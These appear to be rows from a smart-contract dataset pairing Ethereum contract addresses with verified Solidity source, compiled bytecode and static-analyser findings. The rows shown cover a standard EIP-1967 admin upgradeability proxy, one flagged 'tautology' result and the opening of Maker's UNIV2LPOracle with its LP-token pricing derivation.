5260200190815260200160002060050160009054906101000a900460ff16600481111561148857fe5b1480156114d15750600860006009838154811015156114a357fe5b9060005260206000209001548152602001908152602001600020600401546114c9611691565b63ffffffff16115b156115315761152a836040805190810160405280600181526020017f2c000000000000000000000000000000000000000000000000000000000000008152506115256002600481111561152057fe5b613362565b6134b4565b92506115c4565b6115c1836040805190810160405280600181526020017f2c000000000000000000000000000000000000000000000000000000000000008152506115bc6008600060098781548110151561158157fe5b906000526020600020900154815260200190815260200160002060050160009054906101000a900460ff1660048111156115b757fe5b613362565b6134b4565b92505b81806001019250505b5b80806001019150506110cf565b50509392505050565b6115ee3382613795565b15156115f957600080fd5b6116038382613282565b151561160e57600080fd5b611619838383613801565b505050565b60004260208460ff169060020a026040869060020a0260608560ff169060020a0201010190509392505050565b60008060008060ff6060869060020a900416935063ffffffff6040869060020a900416925063ffffffff6020869060020a900416915063ffffffff851690509193509193565b600042905090565b60026020528060005260406000206000915054906101000a900460ff1681565b6000806000806000806000601e8860ff161080156116db575060008860ff1610155b15156116e657600080fd5b600860008a8152602001908152602001600020955060009650600094505b600354851015611798576004600086815260200190815260200160002060010154935063ffffffff6040859060020a9004169250828660010154141561178b5763ffffffff6020859060020a900416915060ff6060859060020a90041690508160ff168860ff1614801561177c575060038160ff1614155b1561178a5786806001019750505b5b8480600101955050611704565b50505050505092915050565b60006005600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561181857600080fd5b919050565b600061184660646118386005856139bf90919063ffffffff16565b6139fa90919063ffffffff16565b9050919050565b6000600980549050905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118b657600080fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600681526020017f5469636b6574000000000000000000000000000000000000000000000000000081525081565b60008060ff6060859060020a9004169050606081840360ff169060020a02840191505092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a3e57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60076020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515611af057600080fd5b611afa3382613282565b1515611b0557600080fd5b611b10338383613801565b5050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611b6f57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611c7a5750600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515611c8557600080fd5b600980549050905060006004811115611c9a57fe5b6008600083815260200190815260200160002060050160009054906101000a900460ff166004811115611cc957fe5b141515611cd557600080fd5b611cdd611691565b63ffffffff1682111515611cf057600080fd5b60c06040519081016040528085858080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050508152602001828152602001600081526020016000815260200183815260200160016004811115611d5b57fe5b815250600860008381526020019081526020016000206000820151816000019080519060200190611d8d929190613a42565b506020820151816001015560408201518160020155606082015181600301556080820151816004015560a08201518160050160006101000a81548160ff02191690836004811115611dda57fe5b021790555090505060098054806001018281611df69190613ac2565b91600052602060002090016000839091909150555050505050565b611e19613a2e565b600080611e24613aee565b60008060008060008060206040519081016040528060008152509950600098506000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561279b57600097505b60035488101561279a573373ffffffffffffffffffffffffffffffffffffffff16600560008a815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561278c578b891015611f1757888060010199505061278d565b8a891115611f245761279a565b6004600089815260200190815260200160002060408051908101604052908160008201548152602001600182015481525050965063ffffffff604088602001519060020a900416955060ff606088602001519060020a900416945063ffffffff876020015116935063ffffffff602088602001519060020a9004169250611fab86846116b9565b91506008600087815260200190815260200160002090508c801561209c575060008514801561209b575060016004811115611fe257fe5b8160050160009054906101000a900460ff166004811115611fff57fe5b1480612069575060018160070160008560ff1660ff16815260200190815260200160002060009054906101000a900460ff1660ff1614801561206857506003600481111561204957fe5b8160050160009054906101000a900460ff16600481111561206657fe5b145b5b8061209a575060048081111561207b57fe5b8160050160009054906101000a900460ff16600481111561209857fe5b145b5b5b806120ab5750600015158d1515145b15612783576120f88a6040805190810160405280600181526020017f7c000000000000000000000000000000000000000000000000000000000000008152506120f38b613362565b6134b4565b99506121428a6040805190810160405280600181526020017f2c0000000000000000000000000000000000000000000000000000000000000081525061213d89613362565b6134b4565b99506121908a6040805190810160405280600181526020017f2c0000000000000000000000000000000000000000000000000000000000000081525061218b8a60000151613362565b6134b4565b99506121da8a6040805190810160405280600181526020017f2c000000000000000000000000000000000000000000000000000000000000008152506121d587613362565b6134b4565b99506122248a6040805190810160405280600181526020017f2c0000000000000000000000000000000000000000000000000000000000000081525061221f86613362565b6134b4565b995061226e8a6040805190810160405280600181526020017f2c0000000000000000000000000000000000000000000000000000000000000081525061226985613362565b6134b4565b99506122b88a6040805190810160405280600181526020017f2c000000000000000000000000000000000000000000000000000000000000008152506122b388613362565b6134b4565b9950600160048111156122c757fe5b8160050160009054906101000a900460ff1660048111156122e457fe5b148015612301575080600401546122f9611691565b63ffffffff16115b156123615761235a8a6040805190810160405280600181526020017f2c000000000000000000000000000000000000000000000000000000000000008152506123556002600481111561235057fe5b613362565b6134b4565b99506123c8565b6123c58a6040805190810160405280600181526020017f2c000000000000000000000000000000000000000000000000000000000000008152506123c08460050160009054906101000a900460ff1660048111156123bb57fe5b613362565b6134b4565b99505b60038514806123f2575060008160060160008560ff1660ff16815260200190815260200160002054145b15612447576124408a6040805190810160405280600181526020017f2c0000000000000000000000000000000000000000000000000000000000000081525061243b6000613362565b6134b4565b9950612631565b60008160030154111561259e5760018160070160008560ff1660ff16815260200190815260200160002060009054906101000a900460ff1660ff161415612507576125008a6040805190810160405280600181526020017f2c000000000000000000000000000000000000000000000000000000000000008152506124fb6124f685600301546124e887600201548e600001516139bf90919063ffffffff16565b6139fa90919063ffffffff16565b613362565b6134b4565b9950612599565b6125968a6040805190810160405280600181526020017f2c0000000000000000000000000000000000000000000000000000000000000081525061259161258c8560060160008960ff1660ff1681526020019081526020016000205461257e87600201548e600001516139bf90919063ffffffff16565b6139fa90919063ffffffff16565b613362565b6134b4565b99505b612630565b61262d8a6040805190810160405280600181526020017f2c000000000000000000000000000000000000000000000000000000000000008152506126286126238560060160008960ff1660ff1681526020019081526020016000205461261587600201548e600001516139bf90919063ffffffff16565b6139fa90919063ffffffff16565b613362565b6134b4565b99505b5b6003600481111561263e57fe5b8160050160009054906101000a900460ff16600481111561265b57fe5b148015612693575060018160070160008560ff1660ff16815260200190815260200160002060009054906101000a900460ff1660ff16145b156126e8576126e18a6040805190810160405280600181526020017f2c000000000000000000000000000000000000000000000000000000000000008152506126dc6001613362565b6134b4565b9950612734565b6127318a6040805190810160405280600181526020017f2c0000000000000000000000000000000000000000000000000000000000000081525061272c6000613362565b6134b4565b99505b6127808a6040805190810160405280600181526020017f2c0000000000000000000000000000000000000000000000000000000000000081525061277b8460020154613362565b6134b4565b99505b88806001019950505b5b8780600101985050611e91565b5b5050505050505050509392505050565b60008060008060003373ffffffffffffffffffffffffffffffffffffffff166005600088815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561282057600080fd5b60046000878152602001908152602001600020945063ffffffff604086600101549060020a900416935060086000858152602001908152602001600020925060048081111561286b57fe5b8360050160009054906101000a900460ff16600481111561288857fe5b14151561289457600080fd5b600083600301541415156128a757600080fd5b600083600201541115156128ba57600080fd5b60ff606086600101549060020a900416915060008260ff161415156128de57600080fd5b846000015490506000811115156128f457600080fd5b612903856001015460026119b9565b85600101819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050151561294b57600080fd5b505050505050565b600080600080612961613a2e565b612969613a2e565b612971613a2e565b600080600860008b815260200190815260200160002091506020604051908101604052806000815250945060206040519081016040528060008152509350600090505b601e8160ff161015612aa757612a23856040805190810160405280600181526020017f2c00000000000000000000000000000000000000000000000000000000000000815250612a1e8560060160008660ff1660ff16815260200190815260200160002054613362565b6134b4565b9450612a98846040805190810160405280600181526020017f2c00000000000000000000000000000000000000000000000000000000000000815250612a938560070160008660ff1660ff16815260200190815260200160002060009054906101000a900460ff1660ff16613362565b6134b4565b935080806001019150506129b4565b816002015498508160030154975081600401549650816000018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612b545780601f10612b2957610100808354040283529160200191612b54565b820191906000526020600020905b815481529060010190602001808311612b3757829003601f168201915b505050505092508160050160009054906101000a900460ff166004811115612b7857fe5b955060016004811115612b8757fe5b8260050160009054906101000a900460ff166004811115612ba457fe5b148015612bbd575086612bb5611691565b63ffffffff16115b15612bd25760026004811115612bcf57fe5b95505b5050919395979092949650565b60008060008060008060003373ffffffffffffffffffffffffffffffffffffffff16600560008a815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515612c5757600080fd5b60046000898152602001908152602001600020965063ffffffff602088600101549060020a900416955063ffffffff604088600101549060020a900416945060086000868152602001908152602001600020935060036004811115612cb857fe5b8460050160009054906101000a900460ff166004811115612cd557fe5b141515612ce157600080fd5b60018460070160008860ff1660ff16815260200190815260200160002060009054906101000a900460ff1660ff16141515612d1b57600080fd5b60008460030154111515612d2e57600080fd5b60008460020154111515612d4157600080fd5b60ff606088600101549060020a900416925060008360ff16141515612d6557600080fd5b86600001549150600082111515612d7b57600080fd5b60009050600084600301541115612dbc57612db98460030154612dab8660020154856139bf90919063ffffffff16565b6139fa90919063ffffffff16565b90505b6000811115612e1d57612dd4876001015460016119b9565b87600101819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515612e1c57600080fd5b5b5050505050505050565b6000806000612e34613aee565b600060086000888152602001908152602001600020945060016004811115612e5857fe5b8560050160009054906101000a900460ff166004811115612e7557fe5b141515612e8157600080fd5b8460040154612e8e611691565b63ffffffff16101515612ea057600080fd5b6611c37937e080003410151515612eb657600080fd5b683635c9adc5dea000003411151515612ece57600080fd5b601e8660ff16108015612ee5575060008660ff1610155b1515612ef057600080fd5b612ef93461181d565b9350612f0e8434613a1590919063ffffffff16565b9250612f2783866002015461334490919063ffffffff16565b8560020181905550612f5d838660060160008960ff1660ff1681526020019081526020016000205461334490919063ffffffff16565b8560060160008860ff1660ff168152602001908152602001600020819055506040805190810160405280848152602001612f998989600061161e565b81525091506003600081548092919060010191905055905081600460008381526020019081526020016000206000820151816000015560208201518160010155905050612fe860003383613801565b600084111561305457600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc859081150290604051600060405180830381858888f19350505050151561305357600080fd5b5b50505050505050565b6000806000806000803373ffffffffffffffffffffffffffffffffffffffff166005600089815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156130d357600080fd5b60046000888152602001908152602001600020955063ffffffff604087600101549060020a90041694506008600086815260200190815260200160002093506001600481111561311f57fe5b8460050160009054906101000a900460ff16600481111561313c57fe5b14151561314857600080fd5b8360040154613155611691565b63ffffffff1610151561316757600080fd5b60ff606087600101549060020a900416925060008360ff1614151561318b57600080fd5b856000015491506000821115156131a157600080fd5b63ffffffff602087600101549060020a90041690506131cd828560020154613a1590919063ffffffff16565b8460020181905550613203828560060160008460ff1660ff16815260200190815260200160002054613a1590919063ffffffff16565b8460060160008360ff1660ff16815260200190815260200160002081905550613231866001015460036119b9565b86600101819055503373ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050151561327957600080fd5b50505050505050565b60008273ffffffffffffffffffffffffffffffffffffffff166005600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905092915050565b806007600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b600080828401905083811015151561335857fe5b8091505092915050565b61336a613a2e565b600080613375613b08565b6000808614156133bc576040805190810160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525094506134ab565b8593505b6000841415156133e6578280600101935050600a848115156133de57fe5b0493506133c0565b826040518059106133f45750595b9080825280601f01601f191660200182016040525091506001830390505b6000861415156134a757600a8681151561342857fe5b066030017f01000000000000000000000000000000000000000000000000000000000000000282828060019003935081518110151561346357fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a8681151561349f57fe5b049550613412565b8194505b50505050919050565b6134bc613a2e565b6134c4613b08565b6134cc613b08565b6134d4613b08565b6134dc613a2e565b6000806134e7613b08565b8a96508995508894506000925060008751141561352c57845160405180591061350d5750595b9080825280601f01601f191660200182016040525093508390506136cc565b84518651885101016040518059106135415750595b9080825280601f01601f19166020018201604052509350839050600091505b865182101561361357868281518110151561357757fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f01000000000000000000000000000000000000000000000000000000000000000281848060010195508151811015156135d657fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508180600101925050613560565b600091505b85518210156136cb57858281518110151561362f57fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f010000000000000000000000000000000000000000000000000000000000000002818480600101955081518110151561368e57fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508180600101925050613618565b5b600091505b84518210156137845784828151811015156136e857fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f010000000000000000000000000000000000000000000000000000000000000002818480600101955081518110151561374757fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535081806001019250506136d1565b809750505050505050509392505050565b60008273ffffffffffffffffffffffffffffffffffffffff166007600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905092915050565b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906001019190505550816005600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415156139ba57808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906001900391905055506007600082815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555b505050565b60008060008414156139d457600091506139f3565b82840290508284828115156139e557fe5b041415156139ef57fe5b8091505b5092915050565b6000808284811515613a0857fe5b0490508091505092915050565b6000828211151515613a2357fe5b818303905092915050565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10613a8357805160ff1916838001178555613ab1565b82800160010185558215613ab1579182015b82811115613ab0578251825591602001919060010190613a95565b5b509050613abe9190613b1c565b5090565b815481835581811511613ae957818360005260206000209182019101613ae89190613b1c565b5b505050565b604080519081016040528060008152602001600081525090565b602060405190810160405280600081525090565b613b3e91905b80821115613b3a576000816000905550600101613b22565b5090565b905600a165627a7a72305820bfce57bf6a4f91f9da68adbb47572f6644e17ebbeea1059357a1aada19ce9e060029 | {"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}]}} | 1,905 |
0x4b1844168ab674c97474c6ef4ae47cad7b1c481d | /**
*Submitted for verification at Etherscan.io on 2021-04-29
*/
/**
*Submitted for verification at Etherscan.io on 2021-04-10
*/
/**
*Submitted for verification at BscScan.com on 2021-03-08
*/
/**
*Submitted for verification at Etherscan.io on 2020-10-09
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
} | 0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a26469706673582212206661f190da7bb2cb2dc6c1b9d8f8a69b6023dfda77cfcd761e2512ce3e91d5d264736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 1,906 |
0x94823584f4f523e928acb4d1a006ca12d8685af9 | // SPDX-License-Identifier: GPL-3.0-or-later
/// UNIV2LPOracle.sol
// Copyright (C) 2017-2020 Maker Ecosystem Growth Holdings, INC.
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
///////////////////////////////////////////////////////
// //
// Methodology for Calculating LP Token Price //
// //
///////////////////////////////////////////////////////
// A naïve approach to calculate the price of LP tokens, assuming the protocol
// fee is zero, is to compute the price of the assets locked in its liquidity
// pool, and divide it by the total amount of LP tokens issued:
//
// (p_0 * r_0 + p_1 * r_1) / LP_supply (1)
//
// where r_0 and r_1 are the reserves of the two tokens held by the pool, and
// p_0 and p_1 are their respective prices in some reference unit of account.
//
// However, the price of LP tokens (i.e. pool shares) needs to be evaluated
// based on reserve values r_0 and r_1 that cannot be arbitraged, i.e. values
// that give the two halves of the pool equal economic value:
//
// r_0 * p_0 = r_1 * p_1 (2)
//
// Furthermore, two-asset constant product pools, neglecting fees, satisfy
// (before and after trades):
//
// r_0 * r_1 = k (3)
//
// Using (2) and (3) we can compute R_i, the arbitrage-free reserve values, in a
// manner that depends only on k (which can be derived from the current reserve
// balances, even if they are far from equilibrium) and market prices p_i
// obtained from a trusted source:
//
// R_0 = sqrt(k * p_1 / p_0) (4)
// and
// R_1 = sqrt(k * p_0 / p_1) (5)
//
// The value of an LP token is then, replacing (4) and (5) in (1):
//
// (p_0 * R_0 + p_1 * R_1) / LP_supply
// = 2 * sqrt(k * p_0 * p_1) / LP_supply (6)
//
// k can be re-expressed in terms of the current pool reserves r_0 and r_1:
//
// 2 * sqrt((r_0 * p_0) * (r_1 * p_1)) / LP_supply (7)
//
// The structure of (7) is well-suited for use in fixed-point EVM calculations, as the
// terms (r_0 * p_0) and (r_1 * p_1), being the values of the reserves in the reference unit,
